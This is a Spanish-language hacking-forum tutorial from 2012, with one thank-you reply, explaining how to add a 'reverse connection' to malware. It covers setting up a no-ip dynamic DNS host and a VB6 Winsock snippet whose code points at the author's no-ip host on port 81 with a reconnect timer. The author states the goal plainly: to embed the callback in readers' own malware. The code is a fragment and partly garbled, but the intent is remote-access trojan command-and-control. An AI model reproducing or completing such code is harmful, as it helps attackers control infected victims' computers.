Underc0de

Programación General => Visual Basic => Códigos Fuentes => Mensaje iniciado por: ANTRAX en Marzo 22, 2012, 09:07:44 AM

Título: Conexion Inversa
Publicado por: ANTRAX en Marzo 22, 2012, 09:07:44 AM
Introducción:

Hola a todos, en este papers les enseñare a crear una conexión inversa para que puedan colocarla luego en sus malwares.
El método que les mostrare es muy sencillo y se puede mejorar muchísimo, pero es para que tengan una idea de cómo se usa.
Lo que necesitaremos para este tutorial será tener una cuenta en www.no-ip.com

NO-IP

Una vez registrados, nos logueamos colocando nuestro mail y pass que colocamos. Seguido a esto, veremos un menú como este:

(http://4.bp.blogspot.com/-qtOgPdQAbvc/TwxGkdbeBUI/AAAAAAAABEE/OiQuTucRJ6Q/s1600/1.png) (http://4.bp.blogspot.com/-qtOgPdQAbvc/TwxGkdbeBUI/AAAAAAAABEE/OiQuTucRJ6Q/s669/1.png)
Vamos a Add a Host y únicamente colocamos el hostname que usaremos. El resto lo dejaremos tal cual esta.

(http://2.bp.blogspot.com/-qi9Wd5qQewU/TwxGjmZoDZI/AAAAAAAABD8/XxpCi0vSEvk/s1600/2.png) (http://2.bp.blogspot.com/-qi9Wd5qQewU/TwxGjmZoDZI/AAAAAAAABD8/XxpCi0vSEvk/s668/2.png)
Presionamos en el botón Create Host y listo.

(http://2.bp.blogspot.com/-i6FxX8EqERU/TwxGjPnXXTI/AAAAAAAABD0/yUxWKvJc8bg/s1600/3.png) (http://2.bp.blogspot.com/-i6FxX8EqERU/TwxGjPnXXTI/AAAAAAAABD0/yUxWKvJc8bg/s668/3.png)
Ahora nos descargamos el cliente para conectarnos a nuestra no-ip que su descarga está disponible en esa misma web.

(http://3.bp.blogspot.com/-In1DOaHXV_8/TwxGmVVEdXI/AAAAAAAABEc/4h55KWUDS3A/s1600/4.png) (http://3.bp.blogspot.com/-In1DOaHXV_8/TwxGmVVEdXI/AAAAAAAABEc/4h55KWUDS3A/s668/4.png)
Una vez descargado, lo instalamos y tendremos algo como lo siguiente:

(http://1.bp.blogspot.com/-bvVvVxp7O3w/TwxGljLZ44I/AAAAAAAABEM/9sBwpcuEGr4/s1600/5.png) (http://1.bp.blogspot.com/-bvVvVxp7O3w/TwxGljLZ44I/AAAAAAAABEM/9sBwpcuEGr4/s366/5.png)
Nos logueamos con el user y pass con los cuales nos registramos y veremos la no-ip que nos hemos creado:

(http://3.bp.blogspot.com/-G0KdTAgTEuw/TwxGl2JHSfI/AAAAAAAABEU/rKO2GqTvnGk/s1600/6.png) (http://3.bp.blogspot.com/-G0KdTAgTEuw/TwxGl2JHSfI/AAAAAAAABEU/rKO2GqTvnGk/s475/6.png)
La activamos y damos en Save

(http://3.bp.blogspot.com/-TraC6PcM-VQ/TwxGnWED7LI/AAAAAAAABEs/qrkCEe1RYvA/s1600/7.png) (http://3.bp.blogspot.com/-TraC6PcM-VQ/TwxGnWED7LI/AAAAAAAABEs/qrkCEe1RYvA/s484/7.png)
Si tenemos las tres tildes en verde, es porque todo está perfecto. Ahora pasaremos a la programación.

Implementación en el server

Ahora lo que nos quedaría, seria colocarlo en el server.
Agregamos el control Winsock. Vamos al menú en Proyecto y seleccionamos Componentes
Y añadimos el control Microsoft Winsock Control 6.0

(http://3.bp.blogspot.com/-CZvjroXEJdc/TwxGntGxdhI/AAAAAAAABE0/8JYn3iEc--k/s1600/8.png) (http://3.bp.blogspot.com/-CZvjroXEJdc/TwxGntGxdhI/AAAAAAAABE0/8JYn3iEc--k/s379/8.png)
Nos aparecerá un nuevo control con este icono:

(http://4.bp.blogspot.com/-esQthRItcmI/TwxGnBQLtWI/AAAAAAAABEk/b50rp4rbG2A/s30/9.png) (http://4.bp.blogspot.com/-esQthRItcmI/TwxGnBQLtWI/AAAAAAAABEk/b50rp4rbG2A/s30/9.png)
Simplemente lo arrastramos hacia adentro del formulario:

(http://4.bp.blogspot.com/-L0tClXKlc14/TwxGoGr6btI/AAAAAAAABE8/wwFZ-5R0Rio/s1600/10.png) (http://4.bp.blogspot.com/-L0tClXKlc14/TwxGoGr6btI/AAAAAAAABE8/wwFZ-5R0Rio/s410/10.png)
Ahora damos doble click sobre el formulario y añadimos el siguiente código:

Private Sub Form_Load()
'Conexion Inversa
Dim ip As String
Dim ipftp As String
Dim port As Integer

ip = "antrax-labs.no-ip.org"
ipftp = "antrax-labs.no-ip.org"
port = 81
WS.RemoteHost = ip
WS.RemotePort = port
tmr_inversa.in terval = "3000"
End Sub


Recuerden cambiar IP, IPFTP por su no-ip y el Puerto por el que tengan abierto en su router.
Como bien dije al principio, esto se puede mejorar y mucho, ya que en lugar de modificar el código fuente del server manualmente se vuelve tedioso y puede ser reemplazado por un edit server o un build server desde el cliente. Pero eso ya quedara para otro tutorial.
Espero que les sirva y hayan entendido como funciona.
Título: Re:Conexion Inversa
Publicado por: 5TU4RT en Marzo 22, 2012, 04:18:51 PM
Gracias ANTRAX por aportar este Tuto, Muchos se enclareceran con esto..


SALU2